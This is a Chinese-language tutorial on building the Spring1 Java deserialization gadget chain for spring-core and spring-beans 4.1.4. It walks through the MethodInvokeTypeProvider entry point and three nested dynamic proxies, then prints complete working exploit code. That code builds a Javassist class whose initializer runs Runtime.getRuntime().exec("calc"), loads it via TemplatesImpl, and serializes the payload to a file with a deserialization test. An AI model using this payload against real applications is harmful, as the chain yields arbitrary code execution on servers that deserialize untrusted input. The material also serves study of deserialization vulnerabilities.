Spring1原生反序列化链

Spring1原生链的依赖

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

Spring1链最终通过Templates类的newTransformer()方法动态加载恶意类执行命令,核心点在于前部分三层动态代理的嵌套使用,这里采用顺推

首先看入口类MethodInvokeTypeProvider,它是抽象类SerializableTypeWrapper下的静态类,其readObject()如下

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}

我们的目标是method"newTransformer"this.provider.getType()返回构造的Templates对象,那么provider肯定是一个代理对象了,问题是处理器得选谁,经过前面CC1的学习,AnnotationInvocationHandler类的invoke()方法可以做到返回特定的对象,那是否可以直接把Templates作为结果返回呢?不可以,因为getType()方法要求返回一个Type对象,直接返回Templates会转型失败报错,所以此处应再返一个代理对象,且代理对象实现了Type接口

ysoserial的源码告诉我们第二层代理的处理器应选择抽象类AutowriteUtils下的ObjectFactoryDelegatingInvocationHandler,它的invoke()方法如下

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
return proxy == args[0];
} else if (methodName.equals("hashCode")) {
return System.identityHashCode(proxy);
} else if (methodName.equals("toString")) {
return this.objectFactory.toString();
} else {
try {
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
}

由于method是从readObject()里传递的"newTransformer",也就是说readObject()并不是直接触发newTransformer()的方法,而是ObjectFactoryDelegatingInvocationHandlerinvoke(),这个类的特别之处在于其invoke()方法中再一次调用了一个方法getObject(),并且触发的对象this.objectFactory是可控的。那么我们让this.objectFactory再次作为代理对象,处理器是AnnotationInvocationHandler,让其触发getObject()时返回真正的Templates即可,以下是前半部分的利用链

this.provider.getType()
>$Proxy0.getType()
>AnnotationInvocationHandler.invoke()
>$Proxy1.newTransformer()
>ObjectFactoryDelegatingInvocationHandler.invoke()
>newTransformer.invoke(this.objectFactory.getObject(), null)
>newTransformer.invoke($Proxy2.getObject(), null)
>newTransformer.invoke(AnnotationInvocationHandler.invoke(), null)
>newTransformer.invoke(Templates, null)
>Templates.newTransformer()

接下来构造链,前面是构造动态加载恶意类和Templates

ClassPool pool = ClassPool.getDefault();
CtClass spring = pool.makeClass("spring");
CtClass superClass = pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
spring.setSuperclass(superClass);
CtConstructor constructor01 = spring.makeClassInitializer();
constructor01.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = spring.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "spring");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});

构造第一层代理,在调用getObject()方法时返回templates

Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor02 = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor02.setAccessible(true);
HashMap<String, Object> map01 = new HashMap<>();
map01.put("getObject", templates);
InvocationHandler handler01 = (InvocationHandler) constructor02.newInstance(Target.class, map01);
ObjectFactory<?> proxy01 = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{ObjectFactory.class}, handler01);

构造第二层代理,在调用newTransformer()方法时去调用第一层代理的getObject()方法,故要让objectFactory属性为前面构造的handler01,并且该代理对象同时实现TypeTemplates接口以满足返回值要求和newTransformer()方法的响应

Class<?> objectFactoryDelegatingInvocationHandler = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor03 = objectFactoryDelegatingInvocationHandler.getDeclaredConstructor(ObjectFactory.class);
constructor03.setAccessible(true);
InvocationHandler handler02 = (InvocationHandler) constructor03.newInstance(proxy01);
Type proxy02 = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{Type.class, Templates.class}, handler02);

构造第三层代理,在调用getType()方法时返回proxy02,由于TypeProvider接口为包私有,需要先直接获取类,再传入,同时代理对象proxy03也是只能声明为Object类型

HashMap<String, Object> map02 = new HashMap<>();
map02.put("getType", proxy02);
InvocationHandler handler03 = (InvocationHandler) constructor02.newInstance(Target.class, map02);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object proxy03 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{typeProviderClass}, handler03);

由于入口类是MethodInvokeTypeProvider,我们要创建该类实例,并让this.methodName"newTransformer",构造器需要一个Method对象,先随便传,后面再通过反射修改

Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor04 = methodInvokeTypeProviderClass.getDeclaredConstructors()[0];
constructor04.setAccessible(true);
Object methodInvokeTypeProvider = constructor04.newInstance(proxy03, Object.class.getMethod("getClass"), 0);
Field methodName = methodInvokeTypeProvider.getClass().getDeclaredField("methodName");
methodName.setAccessible(true);
methodName.set(methodInvokeTypeProvider, "newTransformer");

至此,Spring1原生反序列化链构建完毕,全链如下

public class SpringSerialTest {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass spring = pool.makeClass("spring");
CtClass superClass = pool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
spring.setSuperclass(superClass);
CtConstructor constructor01 = spring.makeClassInitializer();
constructor01.setBody("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = spring.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "spring");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});

Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor02 = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor02.setAccessible(true);
HashMap<String, Object> map01 = new HashMap<>();
map01.put("getObject", templates);
InvocationHandler handler01 = (InvocationHandler) constructor02.newInstance(Target.class, map01);
ObjectFactory<?> proxy01 = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{ObjectFactory.class}, handler01);

Class<?> objectFactoryDelegatingInvocationHandler = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> constructor03 = objectFactoryDelegatingInvocationHandler.getDeclaredConstructor(ObjectFactory.class);
constructor03.setAccessible(true);
InvocationHandler handler02 = (InvocationHandler) constructor03.newInstance(proxy01);
Type proxy02 = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{Type.class, Templates.class}, handler02);

HashMap<String, Object> map02 = new HashMap<>();
map02.put("getType", proxy02);
InvocationHandler handler03 = (InvocationHandler) constructor02.newInstance(Target.class, map02);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object proxy03 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class<?>[]{typeProviderClass}, handler03);

Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> constructor04 = methodInvokeTypeProviderClass.getDeclaredConstructors()[0];
constructor04.setAccessible(true);
Object methodInvokeTypeProvider = constructor04.newInstance(proxy03, Object.class.getMethod("getClass"), 0);
Field methodName = methodInvokeTypeProvider.getClass().getDeclaredField("methodName");
methodName.setAccessible(true);
methodName.set(methodInvokeTypeProvider, "newTransformer");

serialize(methodInvokeTypeProvider);

}

public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("spring1.ser")));
oos.writeObject(object);
}

@Test
public void deserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("spring1.ser")));
ois.readObject();
}
}